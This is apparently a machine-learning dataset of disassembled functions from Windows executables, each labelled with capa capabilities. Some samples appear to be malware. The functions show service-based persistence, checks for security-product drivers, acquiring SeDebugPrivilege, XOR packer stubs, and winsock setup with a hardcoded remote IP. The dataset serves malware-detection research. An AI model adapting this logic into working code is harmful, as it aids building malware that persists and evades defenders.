joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10012d80
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 8
push esi
mov esi, eax
lea eax, [esp + 4]
push eax
push 3
push 0
push str.SYSTEMCurrentControlSetControlGroupOrderList
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10012daa
xor al, al
pop esi
add esp, 8
ret
cmp byte [esp + 0x10], 0
push ebx
je 0x10012e4f
mov edx, dword [esp + 8]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push esi
push 0
lea ecx, [esp + 0x14]
push ecx
push 0
push 0x1001ad18
push edx
call ebx
test eax, eax
je 0x10012de9
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
xor al, al
pop esi
add esp, 8
ret
mov ecx, dword [esi]
add ecx, 4
push ecx
call fcn.10007afe
add esp, 4
test eax, eax
mov dword [edi], eax
jne 0x10012e10
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
xor al, al
pop esi
add esp, 8
ret
mov ecx, dword [esp + 8]
push esi
push eax
lea eax, [esp + 0x14]
push eax
push 0
push 0x1001ad20
push ecx
call ebx
mov esi, eax
test esi, esi
je 0x10012e80
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [edi]
push eax
call fcn.10007a21
add esp, 4
pop ebx
mov dword [edi], 0
xor al, al
pop esi
add esp, 8
ret
mov eax, dword [esi]
cmp eax, 4
jbe 0x10012e60
shr eax, 2
sub eax, 1
mov ecx, eax
jmp 0x10012e62
xor ecx, ecx
mov eax, dword [edi]
mov dword [eax], ecx
mov ecx, dword [esi]
mov edx, dword [esp + 8]
push ecx
push eax
push 3
push 0
push str.PNP_TDI
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
pop ebx
sete al
pop esi
add esp, 8
ret

Function at 0x10012ea0
Capabilities:
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x114
mov eax, dword [0x1001e388]
xor eax, esp
mov dword [esp + 0x110], eax
mov eax, dword [esp + 0x11c]
push esi
push eax
push str.SYSTEMCurrentControlSetServices_s
lea eax, [esp + 0x18]
push 0x104
push eax
mov esi, ecx
call fcn.10008764
add esp, 0x10
lea ecx, [esp + 4]
push ecx
push 3
push 0
lea edx, [esp + 0x1c]
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10012f0b
xor al, al
pop esi
mov ecx, dword [esp + 0x110]
xor ecx, esp
call fcn.10007bc1
add esp, 0x114
ret
cmp byte [esp + 0x11c], 0
je 0x10012f3c
mov edx, dword [esp + 4]
lea eax, [esp + 8]
push eax
push esi
lea ecx, [esp + 0x14]
push ecx
push 0
push 0x1001ace0
push edx
mov dword [esp + 0x20], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
jmp 0x10012f53
mov eax, dword [esp + 4]
push 4
push esi
push 4
push 0
push 0x1001ace4
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 4]
push ecx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x114]
xor eax, eax
test esi, esi
sete al
pop esi
xor ecx, esp
call fcn.10007bc1
add esp, 0x114
ret
Function at 0x100132c0
Capabilities:
Delete service

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
push edi
push 1
push esi
xor bl, bl
call fcn.10013060
add esp, 8
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x10013313
push ebp
push 0x10000
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebp, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x1001330f
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
call ebp
mov bl, 1
push edi
call ebp
pop ebp
push 0
call fcn.10012cd0
push 0
call fcn.10012c60
add esp, 8
neg bl
pop edi
pop esi
sbb ebx, ebx
neg ebx
sub ebx, 1
mov eax, ebx
pop ebx
ret

Function at 0x10013340
Capabilities:
Create service
Start service

Disassembly:
sub esp, 0x418
mov eax, dword [0x1001e388]
xor eax, esp
mov dword [esp + 0x414], eax
push ebx
push esi
push edi
push 0x1001ac40
lea eax, [esp + 0x14]
push 0x104
push eax
xor bl, bl
mov dword [esp + 0x18], 0
call fcn.10008811
push edi
push str.system32drivers_S.sys
lea ecx, [esp + 0x22c]
push 0x104
push ecx
call fcn.10008811
add esp, 0x20
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
jne 0x100133bf
pop esi
or eax, 0xffffffff
pop ebx
mov ecx, dword [esp + 0x414]
xor ecx, esp
call fcn.10007bc1
add esp, 0x418
ret
push ebp
push 0
push 0
push 0
lea edx, [esp + 0x18]
push edx
push 0x1001ac78
lea eax, [esp + 0x22c]
push eax
push 1
push 1
push 1
push 0xf01ff
lea ecx, [esp + 0x38]
push ecx
mov edx, ecx
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test ebp, ebp
jne 0x10013414
push 0x10
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebp, eax
test ebp, ebp
je 0x1001342c
push 0
push 0
push ebp
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x10013425
mov bl, 1
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0
push edi
call fcn.10013060
mov ecx, dword [esp + 0x428]
add esp, 8
neg bl
pop ebp
pop esi
sbb ebx, ebx
neg ebx
sub ebx, 1
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.10007bc1
add esp, 0x418
ret
Function at 0x100134c0
Capabilities:
Check os version

Disassembly:
sub esp, 0x1ac
mov eax, dword [0x1001e388]
xor eax, esp
mov dword [esp + 0x1a8], eax
push ebx
push ebp
push esi
push edi
mov edi, ecx
push edi
push str..CtrlSM
push str._s_s
lea eax, [esp + 0xc0]
push 0x104
push eax
xor ebp, ebp
call fcn.10008764
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
add esp, 0x14
push ebp
push 0x40000000
push 3
push ebp
push ebp
push 0xc0000000
lea ecx, [esp + 0xcc]
push ecx
call ebx
mov esi, eax
cmp esi, 0xffffffff
jne 0x10013554
add ebp, 1
mov eax, ebp
sub eax, 1
jne 0x10013554
call fcn.10013340
push 0
push 0x40000000
push 3
push 0
push 0
push 0xc0000000
lea edx, [esp + 0xcc]
push edx
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x10013522
push 0x9c
xor ebx, ebx
lea eax, [esp + 0x1c]
push ebx
push eax
call fcn.1000ad50
add esp, 0xc
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x1c], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0x1c]
cmp eax, 6
jb 0x10013596
jne 0x1001362b
cmp dword [esp + 0x20], 1
ja 0x1001362b
cmp esi, 0xffffffff
je 0x100135c4
push ebx
lea edx, [esp + 0x18]
push edx
push 4
lea eax, [esp + 0x1c]
push eax
push ebx
push ebx
push 0x22019c
push esi
mov dword [esp + 0x30], ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x100135c4
cmp dword [esp + 0x14], ebx
ja 0x1001362b
push str.nisdrv
mov dword [esp + 0x14], ebx
call fcn.10012fd0
add esp, 4
test al, al
jne 0x10013608
push str.360netmon
call fcn.10012fd0
add esp, 4
test al, al
jne 0x10013608
push str.symnets
call fcn.10012fd0
add esp, 4
test al, al
jne 0x10013608
push edi
push ebx
lea ecx, [esp + 0x18]
call fcn.10012ea0
jmp 0x10013628
push edi
push 1
lea ecx, [esp + 0x18]
call fcn.10012ea0
add esp, 8
test al, al
je 0x1001362b
cmp dword [esp + 0x10], ebx
jne 0x1001362b
push ebx
push edi
call fcn.10013060
add esp, 8
mov ecx, dword [esp + 0x1b8]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10007bc1
add esp, 0x1ac
ret

Function at 0x10013680
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x1c
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x100136d8
push edi
lea eax, [esp + 8]
push eax
push 0x20
push esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x100136d4
lea ecx, [esp + 0xc]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x100136dd
mov edx, dword [esp + 8]
push edx
call edi
push esi
call edi
pop edi
pop esi
add esp, 0x1c
ret
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
push 0
push 0
push 0x10
lea edx, [esp + 0x20]
push edx
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x18]
push 0
push eax
mov dword [esp + 0x2c], 1
mov dword [esp + 0x34], ecx
mov dword [esp + 0x38], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x100136cd
mov ecx, dword [esp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call edi
push esi
call edi
pop edi
pop esi
add esp, 0x1c
ret
Function at 0x100149a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x28
mov ecx, dword [0x1001f174]
mov edx, dword [0x1001f170]
push esi
mov esi, eax
xor eax, eax
test byte [esi + 0x12], 1
push edi
mov dword [esp + 8], eax
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], edx
je 0x100149d3
pop edi
pop esi
mov esp, ebp
pop ebp
ret
cmp eax, dword [0x1002017c]
lea edi, [ebx + 0x16]
lea ecx, [edi + 0x10]
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
jb 0x100149fb
ja 0x10014aca
cmp ecx, dword [0x10020178]
ja 0x10014aca
cmp dword [0x1001f17c], 0xffffffff
je 0x10014b75
mov eax, dword [0x10020170]
or eax, dword [0x10020174]
je 0x10014b75
push 0x10020300
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x10020170]
xor ecx, ecx
mov dword [eax + 4], ecx
mov edx, dword [0x10020170]
mov dword [edx + 8], ecx
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
mov dword [eax + 0xc], edi
mov edx, dword [esi]
mov dword [eax + 0x10], edx
mov ecx, dword [esi + 4]
mov dword [eax + 0x14], ecx
mov edx, dword [esi + 8]
mov dword [eax + 0x18], edx
mov ecx, dword [esi + 0xc]
mov dword [eax + 0x1c], ecx
mov edx, dword [esi + 0x10]
mov dword [eax + 0x20], edx
mov cx, word [esi + 0x14]
mov edx, dword [ebp + 0xc]
push ebx
mov word [eax + 0x24], cx
push edx
add eax, 0x26
push eax
call fcn.1000add0
add esp, 0xc
xor eax, eax
lea ecx, [esp + 0x1c]
push ecx
mov dword [esp + 0x30], eax
push 0
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov eax, dword [0x1001f174]
push 8
lea edx, [esp + 0x18]
mov dword [esp + 0x38], eax
mov eax, dword [0x1001f17c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10014ad5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x10014ad5
push 0x10020300
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, 0xfffffffc
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
push 0
lea ecx, [esp + 0x1c]
push ecx
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test eax, eax
je 0x10014b0b
mov edx, dword [0x1001f17c]
push edx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0x10020300
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
or eax, 0xffffffff
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [0x1001f170]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
mov ecx, dword [0x1001f17c]
jne 0x10014b3e
push ecx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0x10020300
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
or eax, 0xffffffff
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x24]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
push 0x10020300
je 0x10014afc
mov esi, dword [esp + 0xc]
neg esi
sbb esi, esi
neg esi
sub esi, 1
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
mov eax, 0xfffffffd
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10014b80
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x30
mov ecx, dword [0x1001f170]
push esi
mov esi, eax
mov eax, dword [0x1001f174]
mov dword [esp + 0x14], eax
mov eax, dword [esi + 0xc]
mov dword [esp + 0x18], ecx
xor ecx, ecx
add eax, 0x10
cmp ecx, dword [0x1002017c]
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], ecx
jb 0x10014bcb
ja 0x10014c61
cmp eax, dword [0x10020178]
ja 0x10014c61
cmp dword [0x1001f17c], 0xffffffff
je 0x10014d08
mov edx, dword [0x10020170]
or edx, dword [0x10020174]
je 0x10014d08
push 0x10020300
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [esp + 0xc]
mov ecx, dword [0x10020170]
push eax
push esi
push ecx
call fcn.1000add0
mov edx, dword [0x1001f174]
xor eax, eax
add esp, 0xc
mov dword [esp + 0x2c], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
lea eax, [esp + 0x1c]
push eax
push 0
push 8
lea ecx, [esp + 0x18]
mov dword [esp + 0x38], edx
mov edx, dword [0x1001f17c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10014c6b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x10014c6b
push 0x10020300
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, 0xfffffffc
pop esi
add esp, 0x30
ret
push 0xffffffffffffffff
push 0
lea eax, [esp + 0x1c]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test eax, eax
je 0x10014ca0
mov ecx, dword [0x1001f17c]
push ecx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0x10020300
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
or eax, 0xffffffff
pop esi
add esp, 0x30
ret
mov edx, dword [0x1001f170]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
mov eax, dword [0x1001f17c]
jne 0x10014cd2
push eax
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0x10020300
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
or eax, 0xffffffff
pop esi
add esp, 0x30
ret
push 0
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x24]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
push 0x10020300
je 0x10014c92
mov esi, dword [esp + 0xc]
neg esi
sbb esi, esi
neg esi
sub esi, 1
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, esi
pop esi
add esp, 0x30
ret
mov eax, 0xfffffffd
pop esi
add esp, 0x30
ret
Function at 0x10017630
Capabilities:
Create thread

Disassembly:
push ecx
push esi
push 0x100202e8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [0x1001f17c], 0xffffffff
je 0x100176b7
cmp dword [0x1001f180], 0xffffffff
jne 0x100176b7
test esi, esi
je 0x100176b7
mov eax, dword [0x1001f170]
mov dword [0x100201d8], esi
mov esi, dword [sym.imp.KERNEL32.dll_ResetEvent]
push eax
mov byte [0x1001f164], 0
call esi
mov ecx, dword [0x1001f16c]
push ecx
call esi
mov edx, dword [0x1001f168]
push edx
call esi
lea eax, [esp + 4]
push eax
push 0
push 0
push 0x10017240
push 0
push 0
call fcn.10007da8
add esp, 0x18
test eax, eax
jne 0x100176c8
mov ecx, dword [0x1001f16c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x1001f180], 0xffffffff
push 0x100202e8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
or eax, 0xffffffff
pop esi
pop ecx
ret
mov edx, dword [0x1001f168]
push 0xffffffffffffffff
push edx
mov dword [0x1001f180], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x100202e8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
pop esi
pop ecx
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x67712dd5
nop
nop
test eax, eax
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
mov eax, section..text_1
nop
mov ebx, 0x42f314
nop
mov ecx, 0x8505ff6
nop
nop
test eax, eax
nop
nop
je 0x432084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x7f3119df
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data_1
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x35e40f84
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x4b474460
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x519d451f
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40601c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x406028
push 0x406024
push 0x406020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x406028]
push dword [0x406024]
push dword [0x406020]
mov dword [0x406014], esp
call fcn.0040129c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x4012e0
Capabilities:
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x1dc
mov eax, dword [0x41704c]
xor eax, esp
mov dword [esp + 0x1d4], eax
push ebx
push edi
xor eax, eax
push 0x3e
push eax
lea ecx, [esp + 0x1a2]
push ecx
mov word [esp + 0x1a4], ax
call fcn.00408430
add esp, 0xc
lea edi, [esp + 0x198]
call fcn.004035f0
xor eax, eax
movzx ecx, word [esp + eax + 0x198]
mov word [eax + 0x418df0], cx
add eax, 2
test cx, cx
jne 0x401321
push 0x418df0
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x40136e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop ebx
mov ecx, dword [esp + 0x1d4]
xor ecx, esp
call fcn.00404906
add esp, 0x1dc
ret
push 0x418df0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x401355
lea edx, [esp + 8]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, 0x4197c0
call fcn.00401d20
test eax, eax
jne 0x401440
jmp 0x4013b0
movzx ecx, word [eax + str.gduer]
mov word [eax + 0x419968], cx
add eax, 2
test cx, cx
jne 0x4013b0
push str.112.175.88.207
push 0x40
push 0x4197c4
call fcn.00404992
add esp, 0xc
push str.AAAA
push 0x10
push 0x419846
call fcn.00404992
add esp, 0xc
push 0x414c8c
push 0x40
push 0x419866
call fcn.00404992
mov eax, 0x51
mov ecx, 0x2b8e
add esp, 0xc
mov word [0x419844], ax
mov word [0x4198e6], cx
xor eax, eax
jmp 0x401420
movzx ecx, word [eax + str.dosret]
mov word [eax + 0x419948], cx
add eax, 2
test cx, cx
jne 0x401420
mov dword [0x419988], 5
call fcn.00403690
push 0x414c8c
call fcn.00403740
add esp, 4
mov dword [0x419688], eax
jmp loc.00430000
Function at 0x401207
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x854
mov edx, dword [0x84c9c4]
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x24], edi
mov esi, dword [edi]
mov ebx, dword [edi + 4]
mov dword [ebp - 0x14], esi
cmp edx, 0x594
jne 0x401245
push 0
lea eax, [ebp - 0x854]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edx, dword [0x84c9c4]
mov eax, dword [0x4191e8]
lea ecx, [ebp - 0xc]
and dword [ebp - 0xc], 0
mov dword [ebp - 0x20], eax
mov eax, dword [0x4191ec]
mov dword [ebp - 0x34], 0x9e3779b9
mov dword [ebp - 0x18], eax
call fcn.00401200
add dword [ebp - 0xc], 0x23f
cmp edx, 0x14
jne 0x401285
push 0
lea eax, [ebp - 0x854]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
mov ecx, dword [0x4191f0]
mov edx, dword [0x4191f4]
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x1c], 0x20
mov dword [ebp - 0x18], 2
add dword [ebp - 0x18], 3
mov eax, esi
mov dword [ebp - 8], 0xedeb2e40
shl eax, 4
add eax, ecx
cmp dword [0x84c9c4], 0xfa9
mov dword [ebp - 4], eax
mov eax, dword [0x84c9c0]
cmove eax, dword [ebp - 8]
and dword [ebp - 8], 0
cmp dword [0x84c9c4], 0x3eb
mov dword [0x84c9c0], eax
mov eax, dword [0x84c918]
cmove eax, dword [ebp - 8]
mov dword [0x84c918], eax
mov eax, dword [ebp - 0xc]
add eax, esi
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x14]
shr eax, 5
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
add dword [ebp - 0x10], edx
and dword [ebp - 8], 0
mov dword [0x84c9bc], 0xf4ea3dee
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 8], eax
mov eax, dword [ebp - 8]
xor dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
xor ecx, eax
cmp dword [0x84c9c4], 0x213
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], ecx
jne 0x40137b
lea eax, [ebp - 0x40]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
lea eax, [ebp - 0x854]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x38]
push eax
push 0
lea eax, [ebp - 0x54]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ChangeTimerQueueTimer]
mov ecx, dword [ebp - 0x10]
sub ebx, ecx
mov eax, ebx
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 0x18]
mov edx, ebx
mov eax, dword [ebp - 0xc]
shr edx, cl
add eax, ebx
mov ecx, dword [ebp - 4]
add edx, edi
xor ecx, eax
mov dword [ebp - 0x10], edx
cmp dword [0x84c9c4], 0xb03
mov dword [ebp - 4], ecx
jne 0x4013bc
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x10]
xor ecx, edx
sub esi, ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x34]
sub dword [ebp - 0xc], eax
dec dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
jne 0x4012a1
mov edi, dword [ebp - 0x24]
mov dword [edi], esi
mov dword [edi + 4], ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret